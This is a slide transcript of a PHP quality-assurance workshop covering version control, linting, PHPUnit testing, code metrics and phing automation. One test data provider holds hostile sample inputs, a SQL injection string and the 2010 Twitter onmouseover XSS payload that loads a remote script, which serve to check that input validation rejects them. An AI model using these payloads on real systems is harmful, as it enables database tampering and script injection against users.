Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

QA for PHP projects

2,000 views

Published on

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Published in: Engineering

QA for PHP projects

  1. 1. QA for PHP projects in it2PROFESSIONAL PHP SERVICES
  2. 2. Requirements • VirtualBox http://virtualbox.com • Vagrant https://vagrantup.com • Copy of https://github.com/in2it/phpqa-workshop • Copy of https://github.com/in2it/phpqa-testing
  3. 3. Michelangelo van Dam! ! PHP Consultant Community Leader President of PHPBenelux Contributor to PHP projects ! T @DragonBe | F DragonBe https://www.flickr.com/photos/akrabat/8784318813
  4. 4. Using Social Media? Tag it #phpqa http://www.flickr.com/photos/andyofne/4633356197 http://www.flickr.com/photos/andyofne/4633356197
  5. 5. What is QA? Testing Measuring Automation
  6. 6. What is QA? https://www.flickr.com/photos/infidelic/4306205887
  7. 7. Detect bugs early https://www.flickr.com/photos/goingslo/4523034319
  8. 8. Observe behaviour https://www.flickr.com/photos/yuan2003/1812881370
  9. 9. Prevent mistakes https://www.flickr.com/photos/robertelyov/5159801170
  10. 10. Track progress https://www.flickr.com/photos/dingatx/4115844000
  11. 11. Important QA tools https://www.flickr.com/photos/florianric/7263382550
  12. 12. Version Control https://www.flickr.com/photos/mrmyle/2327686010
  13. 13. Subversion
  14. 14. GIT
  15. 15. GitHub
  16. 16. Bitbucket
  17. 17. Mercurial
  18. 18. Bazaar
  19. 19. Perforce
  20. 20. Team Foundation Server
  21. 21. File Transfer Protocol FTP
  22. 22. Advantages of SCM • Team development • Multi-versions management • Keep track of history • Tagging milestones • Backup of source code • Full integration https://www.flickr.com/photos/skoop/5397232723
  23. 23. Exercise • Start a new project “phpqa-intro” • Initialise it as a GIT project • Create a “hello world” php script • Add it to the repository & commit
  24. 24. Possible answer $ cd workspace $ mkdir phpqa-intro $ cd phpqa-intro $ git init $(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php $(master #) git add helloworld.php $(master #) git commit -m 'Initial version of helloworld' [master (root-commit) 174c675] Initial commit of helloworld 1 file changed, 1 insertion(+) create mode 100644 helloworld.php $(master)
  25. 25. Syntax Checking https://www.flickr.com/photos/rooreynolds/4133549889
  26. 26. PHP Lint Build-in PHP!
  27. 27. PHP Lint php -l <filename>
  28. 28. GIT pre-commit hook https://github.com/ReekenX/phpcheck-git
  29. 29. Exercise • Download the pre-commit hook from http://in2.se/ phplintgit (or get it from the USB drive) • Make sure you make it executable • Create a syntax error in error.php and commit it • See you get the error and ensure the file is not committed.
  30. 30. Possible answer $(master) git checkout -b phplint $(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit $(phplint) chmod ugo+x .git/hooks/pre-commit $(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php $(phplint) git add error.php $(phplint +) git commit -m 'Trying to add code with errors' Syntax errors found in file: error.php ! Found PHP parse errors: PHP Parse error: parse error, expecting `','' or `';'' in /Users/ dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa- intro/error.php on line 2 ! PHP parse errors found. Fix errors and commit again. $(phplint +)
  31. 31. Documentation https://www.flickr.com/photos/jankunst/6478327983
  32. 32. Why providing docblocks? • Useful information about the class, method or logic • Provides hints in IDE’s • Great reference for • New team members • 3rd party developers https://www.flickr.com/photos/mundoo/2293493420
  33. 33. phpDocumentor http://phpdoc.org
  34. 34. PHAR:// http://phpdoc.org/phpDocumentor.phar Other installations: Composer, PEAR, Source
  35. 35. Exercise • Create a class with a couple of methods (or use the class in “exercise/MyClass.php”) • Run phpdoc against this class ./vendor/bin/phpdoc  -­‐d  exercise/phpdoc  -­‐t  build/phpdoc   • See the resulting documentation files at http:// 192.168.166.166/phpdoc
  36. 36. Testing https://www.flickr.com/photos/akrabat/8421560178
  37. 37. Most common excuses why developers don’t test • no time • no budget • deliver tests after finish project (never) • devs don’t know how https://www.flickr.com/photos/dasprid/8147986307
  38. 38. No excuses! https://www.flickr.com/photos/akrabat/8421560178
  39. 39. Let’s get started https://www.flickr.com/photos/floridamemory/3295406193
  40. 40. PHPUnit & Composer {      "require":  {          "php":  "<=5.5.0"      },      "require-­‐dev":  {          "phpunit/phpunit":  "~4.4"      },   }
  41. 41. phpunit.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   ! <phpunit          bootstrap="./vendor/autoload.php"          colors="true"          strict="true"          stopOnError="true"          stopOnFailure="true">   !        <testsuite  name="PHPQA  Workshop  TestSuite">                  <directory>./tests</directory>          </testsuite>   ! </phpunit>
  42. 42. Testing models https://www.flickr.com/photos/fdecomite/2710132377
  43. 43. Simple Comment Class
  44. 44. CommentTest <?php   namespace  PhpqaTestsModel;   ! use  PhpqaModelComment;   ! class  CommentTest  extends  PHPUnit_Framework_TestCase   {          public  function  testModelIsPopulatedAtConstruct()          {                  $data  =  [                          'commentId'        =>  1,                          'fullName'          =>  'Johny  Test',                          'emailAddress'  =>  'johny.test@example.com',                          'website'            =>  'http://johnytest.com',                          'comment'            =>  'This  is  a  comment',                  ];   !                $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }   }  
  45. 45. CodeCoverage
  46. 46. Exercise • Test Comment class that you can convert it directly into an array • BONUS: Also test you can convert it into JSON
  47. 47. Testing Databases https://www.flickr.com/photos/shindotv/3835365695
  48. 48. A few remarks • Testing against databases is “integration testing” • Testing against databases is slow • Testing against databases is only useful for • triggers & stored procedures • correct encoding and collations
  49. 49. Data is just “Data”
  50. 50. fzaninotto / Faker https://github.com/fzaninotto/Faker
  51. 51. Generated data        /**            *  Provides  data  that  we  consider  to  be  safe  and  of  quality            *  @return  array            */          public  function  goodDataProvider()          {                  $faker  =  FakerFactory::create();                  $data  =  [];                  for  ($iter  =  0;  $iter  <  500;  $iter++)  {                          $data[]  =  [                                  'commentId'        =>  rand(1,  time()),                                  'fullName'          =>  $faker-­‐>name,                                  'emailAddress'  =>  $faker-­‐>email,                                  'website'            =>  $faker-­‐>url,                                  'comment'            =>  $faker-­‐>text(),                          ];                  }                  return  $data;          }
  52. 52. Modify our test        /**            *  @dataProvider  goodDataProvider            */          public  function  testModelIsPopulatedAtConstruct($data)          {                  $comment  =  new  Comment($data);                  $this-­‐>assertSame($data['commentId'],  $comment-­‐>getCommentId());                  $this-­‐>assertSame($data['fullName'],  $comment-­‐>getFullName());                  $this-­‐>assertSame($data['emailAddress'],  $comment-­‐>getEmailAddress());                  $this-­‐>assertSame($data['website'],  $comment-­‐>getWebsite());                  $this-­‐>assertSame($data['comment'],  $comment-­‐>getComment());          }
  53. 53. https://www.flickr.com/photos/boltofblue/5724934828
  54. 54. http://xkcd.com/327/ Little Bobby Tables
  55. 55. Is this your project?
  56. 56. OWASP Top 10 https://www.owasp.org/index.php/Top_10_2013-Top_10
  57. 57. Bad Data provider http://en.wikipedia.org/wiki/Computer_virus
  58. 58. First modify our class <?php   namespace  PhpqaModel;   ! use  ZendInputFilterInputFilter;   use  ZendInputFilterInput;   use  ZendFilter;   use  ZendValidator;   ! class  Comment   {          /**            *  @var  InputFilter            */          protected  $inputFilter;          /**            *  @return  InputFilter            */          public  function  getInputFilter()          {                  //  Lazy  loading  of  filter  and  validation  rules                  if  (null  ===  $this-­‐>inputFilter)  {                  }                  return  $this-­‐>inputFilter;          }
  59. 59. Filter/Validate        $commentId  =  new  Input('commentId');          $commentId-­‐>getFilterChain()                  -­‐>attach(new  FilterInt());          $commentId-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorGreaterThan(['min'  =>  0]));   !        $fullName  =  new  Input('fullName');          $fullName-­‐>getFilterChain()                  -­‐>attach(new  FilterStringTrim())                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());          $fullName-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorStringLength(['min'  =>  5,  'max'  =>  150]));
  60. 60. Filter/Validate (2)        $emailAddress  =  new  Input('emailAddress');          $emailAddress-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $emailAddress-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorEmailAddress());   !        $website  =  new  Input('website');          $website-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $website-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorUri());   !        $comment  =  new  Input('comment');          $comment-­‐>getFilterChain()                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());
  61. 61. InputFilter        $inputFilter  =  new  InputFilter();          $inputFilter-­‐>add($commentId)                  -­‐>add($fullName)                  -­‐>add($emailAddress)                  -­‐>add($website)                  -­‐>add($comment);   !        $this-­‐>setInputFilter($inputFilter);
  62. 62. badDataProvider        /**            *  Provides  data  that  we  consider  to  be  unsafe            *  @return  array            */          public  function  badDataProvider()          {                  return  [                          [                                  [                                          'commentId'        =>  0,                                          'fullName'          =>  '',                                          'emailAddress'  =>  '',                                          'website'            =>  '',                                          'comment'            =>  '',                                  ]                          ],[                                  [                                          'commentId'        =>  'Little  Bobby  Tables',                                          'fullName'          =>  'Robert');  DROP  TABLE  `students`;  -­‐-­‐',                                          'emailAddress'  =>  'clickjack@hackers',                                          'website'            =>  "http://t.co/@"style="font-­‐size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",                                          'comment'            =>  'exploit  twitter  9/21/2010',                                  ]                          ],                  ];          }
  63. 63. our bad data test        /**            *  @dataProvider  badDataProvider            */          public  function  testCommentIsProtectedAgainstHacks($data)          {                  $comment  =  new  Comment();                  $comment-­‐>getInputFilter()-­‐>setData($data);                  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());          }
  64. 64. Exercise • Add some more “badData” entries • See if the validation rules hold • Test one of the latest exploits
  65. 65. Wanna know more… Come and see me after the workshop
  66. 66. Measuring https://www.flickr.com/photos/batega/2056949264
  67. 67. pdepend
  68. 68. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls pDepend info
  69. 69. • metric calculation • execution paths • independent control structures • if, else, for, foreach, switch case, while, do, … • within a single method or function • more info 
 http://en.wikipedia.org/wiki/Cyclomatic_complexity Cyclomatic Complexity
  70. 70. • The average of the maximum length from a root class to its deepest subclass Average Hierarchy Height
  71. 71. Pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes Inheritance
  72. 72. Pyramid complexity Size and complexity
  73. 73. Pyramid Coupling Coupling
  74. 74. pDepend-graph
  75. 75. PHP Mess Detection https://www.flickr.com/photos/avlxyz/2145112149
  76. 76. What? • detects code smells • possible bugs • sub-optimal code • over complicated expressions • unused parameters, methods and properties • wrongly named parameters, methods or properties
  77. 77. Example output ./vendor/bin/phpmd exercise/ html cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./ build/logs/phpmd.html
  78. 78. Copy/Paste Detection https://www.flickr.com/photos/kalexanderson/6113247118
  79. 79. What? • detects similar code snippets • plain copy/paste work • similar code routines • indicates problems • maintenance hell • downward spiral of disasters • stimulates improvements • refactoring of code • moving similar code snippets in common routines
  80. 80. PHP_CodeSniffer https://www.flickr.com/photos/create_up/3475195695
  81. 81. What? • validates coding standards • consistency • readability • set as a policy for development • reports failures to meet the standard • sometimes good: parentheses on wrong line • mostly bad: line exceeds 80 characters • but needed for terminal viewing of code • can be set as pre-commit hook • but can cause frustration!!!
  82. 82. Exercise • Run the following commands against “MyClass” • pdepend • phpmd • phpcpd • phpcs (php_CodeSniffer) • What is the result?
  83. 83. Automation https://www.flickr.com/photos/freefoto/5982549938
  84. 84. Using phing The PHP builder http://phing.info
  85. 85. build.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   <project  name="PHPQA  Workshop"  default="build">          <fileset  dir="${project.basedir}"  id="files">                  <include  name="${project.basedir}/exercise/**"/>          </fileset>          <target  name="php-­‐lint"  description="Run  syntax  checking  on  the  codebase">                  <phplint>                          <fileset  refid="files"/>                  </phplint>          </target>          <target  name="php-­‐doc"  description="Generate  automated  documentation">                  <exec                          command="./vendor/bin/phpdoc  run  -­‐d  exercise/  -­‐t  build/phpdoc/"                          dir="${project.basedir}"/>          </target>          <!-­‐-­‐  ...  -­‐-­‐>            <target  name="build"  description="The  build  process">                  <phingcall  target="php-­‐lint"/>                  <phingcall  target="php-­‐doc"/>                  <phingcall  target="php-­‐depend"/>                  <phingcall  target="php-­‐md"/>                  <phingcall  target="php-­‐cpd"/>                  <phingcall  target="php-­‐cs"/>          </target>   </project>  
  86. 86. Benefits • Everyone executes the processes the same • Including automated CI tools • Once a new “target” is defined, it’s available
  87. 87. There’s more with phing • auto upgrade databases • warming up caches • deploy over multiple nodes • collect statistics • perform benchmark/performance tests • …
  88. 88. Easy CI integration • Jenkins CI • JetBrains TeamCity • Atlassian Bamboo • ContinuousPHP
  89. 89. https://www.flickr.com/photos/lwr/13442542235
  90. 90. Contact us in it2PROFESSIONAL PHP SERVICES Michelangelo van Dam michelangelo@in2it.be ! www.in2it.be PHP Consulting - Training - QA
  91. 91. Join the fun! PHPBENELUX phpbenelux.eu
  92. 92. Thank you Have a great conference http://www.flickr.com/photos/drewm/3191872515

×